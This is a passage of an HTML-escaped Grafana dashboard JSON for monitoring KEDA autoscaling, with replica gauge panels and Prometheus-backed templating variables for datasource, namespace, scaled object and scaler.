/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;values&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showThresholdLabels&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showThresholdMarkers&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pluginVersion&quot;:&amp;nbsp;&quot;9.5.2&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exemplar&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_status_current_replicas{namespace=\&quot;$namespace\&quot;,horizontalpodautoscaler=\&quot;keda-hpa-$scaledObject\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;current_replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exemplar&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_spec_max_replicas{namespace=\&quot;$namespace\&quot;,horizontalpodautoscaler=\&quot;keda-hpa-$scaledObject\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;max_replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;B&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Current/max&amp;nbsp;replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;gauge&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;&quot;1m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;schemaVersion&quot;:&amp;nbsp;38,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;style&quot;:&amp;nbsp;&quot;dark&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;tags&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;templating&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;list&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;selected&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;Prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;Prometheus&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;queryValue&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;datasource&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;selected&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;bhe-test&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;bhe-test&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;definition&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active,exported_namespace)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;namespace&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active,exported_namespace)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;PrometheusVariableQueryEditor-VariableQuery&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;query&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;selected&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;All&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;$__all&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;definition&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active{exported_namespace=\&quot;$namespace\&quot;},scaledObject)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;scaledObject&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active{exported_namespace=\&quot;$namespace\&quot;},scaledObject)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;PrometheusVariableQueryEditor-VariableQuery&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;query&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;selected&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;cronScaler&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;cronScaler&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;definition&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active{exported_namespace=\&quot;$namespace\&quot;},scaler)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;scaler&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active{exported_namespace=\&quot;$namespace\&quot;},scaler)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;PrometheusVariableQueryEditor-VariableQuery&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br 